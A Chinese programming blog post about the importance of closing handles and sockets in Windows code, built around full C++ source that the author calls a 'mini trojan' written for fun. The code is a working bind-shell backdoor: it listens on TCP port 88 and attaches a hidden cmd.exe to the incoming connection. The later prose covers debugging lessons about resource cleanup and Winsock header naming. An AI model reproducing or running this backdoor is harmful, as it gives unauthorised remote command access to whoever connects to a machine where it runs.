现在的位置: 首页 > 综合 > 正文

CloseHandle()和closesocket()的重要性

2019年06月08日 ⁄ 综合 ⁄ 共 2290字 ⁄ 字号 评论关闭
#include "iostream"
#include "WinSock2.h"
#include "windows.h"



#pragma comment(lib,"WS2_32.LIB")

using namespace std;
int main()
{
	//////////////////////////////////////////////////////////////////////////定义
	SOCKET Ssocket,Csocket;
	WSADATA wsa;
	int sockaddlen;
	PROCESS_INFORMATION processinfo;
	STARTUPINFO startupinfo;
	char szCMD[256];
	sockaddr_in addr;
	//////////////////////////////////////////////////////////////////////////初始化
	ZeroMemory(&processinfo,sizeof(PROCESS_INFORMATION));
	ZeroMemory(&startupinfo,sizeof(STARTUPINFO));
	ZeroMemory(&wsa,sizeof(WSADATA));
	GetEnvironmentVariable("COMSPEC",szCMD,sizeof(szCMD));

	WSAStartup(0x0202,&wsa);

	addr.sin_family=AF_INET;
	addr.sin_addr.s_addr=INADDR_ANY;
	addr.sin_port=htons(88);

	
	//Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	Csocket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	//Csocket=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

	//////////////////////////////////////////////////////////////////////////创建连接
	if (bind(Csocket,(SOCKADDR *)&addr,sizeof(addr))!=SOCKET_ERROR)
	{
		cout<<"绑定成功"<<endl;
		if (listen(Csocket,1)!=SOCKET_ERROR)
		{
			cout<<"监听成功"<<endl;
			
			sockaddlen=sizeof(addr);

			Ssocket=accept(Csocket,(sockaddr *)&addr,&sockaddlen);

			
			startupinfo.cb=sizeof(STARTUPINFO);
			startupinfo.wShowWindow=SW_HIDE;
			startupinfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;

			startupinfo.hStdError=(HANDLE)Ssocket;
			startupinfo.hStdInput=(HANDLE)Ssocket;
			startupinfo.hStdOutput=(HANDLE)Ssocket;


			CreateProcess(NULL,szCMD,NULL,NULL,TRUE,0,NULL,NULL,&startupinfo,&processinfo);
			WaitForSingleObject(processinfo.hProcess,INFINITE);
			
			CloseHandle(processinfo.hProcess);
			CloseHandle(processinfo.hThread);

			

		}
		closesocket(Csocket);
		closesocket(Ssocket);

	}
	
	


	return 0;
}

  今天无聊,写了个mini木马玩,结尾没写CloseHandle()和closesocket(),像我一向不怎么写这个东东的,回收啊,之类的,可是运行了几遍之后,bind()和listen()始终都无法成功了,代码没错,起初,我以为是编译器的问题,我清楚后重新生成,发现,还是不行,最后不得不用重启计算机才得以正常,最后发现,就是没有写关闭和回收机制导致的,加了CloseHandle()和closesocket()后,运行了十几遍,都很OK,还有一个点,我超级不明白的。。。感觉头文件的大小写一向来说都是不太重要的,结果今天就让我遇到了这个奇葩的问题,#include"winsock2.h"和#include"WinSock2.h"基本上就是一样的吧,一般都是直接用小写,切换大小写浪费时间啊,但是这次的程序超级蛋疼,我开始的时候2写丢了,写的头文件是
#include“winsock.h”,因为这个头文件是存在的,跟2也有差不多的功能,编译的时候就报错,说WSASocket()是未声明的标识符,也就是这个函数没有头文件,我就郁闷了,最后看见了,是头文件少个2,可是当我加了个2,我被吓到了,66个错误,都是各种函数是未声明标识符,比如什么,bind啊,listen啊,accpet啊。。。。。。我就纳闷了,纠结了半个多小时,一直以为是编译器问题,最后偶然的动作,改成了WinSock2.h,世界和平了。。。程序正常了。。。上网看了下,规范的写法就是这样,这就是不规范害死人啊。

【上篇】
【下篇】

抱歉!评论已关闭.